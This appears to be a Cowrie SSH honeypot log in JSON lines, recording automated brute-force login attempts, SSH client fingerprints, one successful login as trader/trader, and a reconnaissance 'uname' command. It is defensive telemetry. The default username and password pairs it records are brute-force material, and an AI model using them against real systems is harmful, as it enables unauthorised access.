{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:30.437031Z","src_ip":"176.65.139.103","session":"d242123070be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:30.989772Z","src_ip":"176.65.139.103","session":"d242123070be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:32.081444Z","src_ip":"176.65.139.103","session":"d242123070be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51816,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc228ad27db","protocol":"ssh","message":"New connection: 176.65.139.103:51816 (10.17.0.5:22) [session: 6fc228ad27db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:36.905014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:36.909512Z","src_ip":"176.65.139.103","session":"6fc228ad27db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:36.991030Z","src_ip":"176.65.139.103","session":"6fc228ad27db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:37.362325Z","src_ip":"176.65.139.103","session":"6fc228ad27db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":42989,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b7432fbfa6","protocol":"ssh","message":"New connection: 177.36.200.182:42989 (10.17.0.5:22) [session: 67b7432fbfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:38.020646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:38.026461Z","src_ip":"177.36.200.182","session":"67b7432fbfa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:38.425604Z","src_ip":"177.36.200.182","session":"67b7432fbfa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:38.469207Z","src_ip":"176.65.139.103","session":"6fc228ad27db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:39.621698Z","src_ip":"177.36.200.182","session":"67b7432fbfa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:41.021727Z","src_ip":"177.36.200.182","session":"67b7432fbfa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9ed3bdd21b8","protocol":"ssh","message":"New connection: 176.65.139.103:38064 (10.17.0.5:22) [session: c9ed3bdd21b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:43.369079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:43.411830Z","src_ip":"176.65.139.103","session":"c9ed3bdd21b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:43.482685Z","src_ip":"176.65.139.103","session":"c9ed3bdd21b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:43.865896Z","src_ip":"176.65.139.103","session":"c9ed3bdd21b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:44.959118Z","src_ip":"176.65.139.103","session":"c9ed3bdd21b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93314742583","protocol":"ssh","message":"New connection: 80.94.92.182:35246 (10.17.0.5:22) [session: f93314742583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:45.492939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:45.676651Z","src_ip":"80.94.92.182","session":"f93314742583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:45.680254Z","src_ip":"80.94.92.182","session":"f93314742583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:46.897436Z","src_ip":"80.94.92.182","session":"f93314742583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:48.129704Z","src_ip":"80.94.92.182","session":"f93314742583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38078,"dst_ip":"10.17.0.5","dst_port":22,"session":"334af09dbe07","protocol":"ssh","message":"New connection: 176.65.139.103:38078 (10.17.0.5:22) [session: 334af09dbe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:49.859939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:49.871100Z","src_ip":"176.65.139.103","session":"334af09dbe07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:49.943537Z","src_ip":"176.65.139.103","session":"334af09dbe07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:50.294073Z","src_ip":"176.65.139.103","session":"334af09dbe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:51.482639Z","src_ip":"176.65.139.103","session":"334af09dbe07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f3d40eef9a","protocol":"ssh","message":"New connection: 176.65.139.103:45644 (10.17.0.5:22) [session: f7f3d40eef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:56.356510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:56.361556Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:56.444494Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:56.873559Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:57.166669Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:57.170252Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:57.260278Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:16:57.265572Z","src_ip":"176.65.139.103","session":"f7f3d40eef9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45670,"dst_ip":"10.17.0.5","dst_port":22,"session":"4af618f2f919","protocol":"ssh","message":"New connection: 176.65.139.103:45670 (10.17.0.5:22) [session: 4af618f2f919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:02.691830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:02.759367Z","src_ip":"176.65.139.103","session":"4af618f2f919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:02.849500Z","src_ip":"176.65.139.103","session":"4af618f2f919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:03.159312Z","src_ip":"176.65.139.103","session":"4af618f2f919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:04.244210Z","src_ip":"176.65.139.103","session":"4af618f2f919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47380,"dst_ip":"159.203.135.109","dst_port":22,"session":"b005f4d63785","protocol":"ssh","message":"New connection: 159.203.92.129:47380 (159.203.135.109:22) [session: b005f4d63785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:04.452970Z"}
